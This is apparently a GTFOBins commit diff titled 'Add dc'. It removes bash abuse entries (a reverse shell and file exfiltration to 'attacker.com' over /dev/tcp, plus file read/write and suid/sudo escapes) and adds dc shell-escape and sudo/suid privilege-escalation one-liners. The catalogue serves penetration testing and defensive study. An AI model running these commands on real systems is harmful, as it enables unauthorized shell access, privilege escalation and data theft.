Add dc

As initially suggested by #397.

_gtfobins/bash.md

@@ -1,67 +1,9 @@
 ---
 functions:
  shell:
- - code: bash
- reverse-shell:
- - description: Run `nc -l -p 12345` on the attacker box to receive the shell.
- code: |
- export RHOST=attacker.com
- export RPORT=12345
- bash -c 'exec bash -i &>/dev/tcp/$RHOST/$RPORT <&1'
- file-upload:
- - description: Send local file in the body of an HTTP POST request. Run an HTTP service on the attacker box to collect the file.
- code: |
- export RHOST=attacker.com
- export RPORT=12345
- export LFILE=file_to_send
- bash -c 'echo -e "POST / HTTP/0.9\n\n$(<$LFILE)" > /dev/tcp/$RHOST/$RPORT'
- - description: Send local file using a TCP connection. Run `nc -l -p 12345 > "file_to_save"` on the attacker box to collect the file.
- code: |
- export RHOST=attacker.com
- export RPORT=12345
- export LFILE=file_to_send
- bash -c 'cat $LFILE > /dev/tcp/$RHOST/$RPORT'
- file-download:
- - description: Fetch a remote file via HTTP GET request.
- code: |
- export RHOST=attacker.com
- export RPORT=12345
- export LFILE=file_to_get
- bash -c '{ echo -ne "GET /$LFILE HTTP/1.0\r\nhost: $RHOST\r\n\r\n" 1>&3; cat 0<&3; } \
- 3<>/dev/tcp/$RHOST/$RPORT \
- | { while read -r; do [ "$REPLY" = "$(echo -ne "\r")" ] && break; done; cat; } > $LFILE'
- - description: Fetch remote file using a TCP connection. Run `nc -l -p 12345 < "file_to_send"` on the attacker box to send the file.
- code: |
- export RHOST=attacker.com
- export RPORT=12345
- export LFILE=file_to_get
- bash -c 'cat < /dev/tcp/$RHOST/$RPORT > $LFILE'
- file-write:
- - code: |
- export LFILE=file_to_write
- bash -c 'echo DATA > $LFILE'
- - description: This adds timestamps to the output file.
- code: |
- LFILE=file_to_write
- HISTIGNORE='history *'
- history -c
- DATA
- history -w $LFILE
- file-read:
- - description: It trims trailing newlines and it's not binary-safe.
- code: |
- export LFILE=file_to_read
- bash -c 'echo "$(<$LFILE)"'
- - description: The read file content is surrounded by the current history content.
- code: |
- LFILE=file_to_read
- HISTTIMEFORMAT=$'\r\e[K'
- history -r $LFILE
- history
- library-load:
- - code: bash -c 'enable -f ./lib.so x'
- suid:
- - code: "./bash -p"
+ - code: dc -e '!/bin/sh'
  sudo:
- - code: sudo bash
+ - code: sudo dc -e '!/bin/sh'
+ limited-suid:
+ - code: ./dc -e '!/bin/sh'
 ---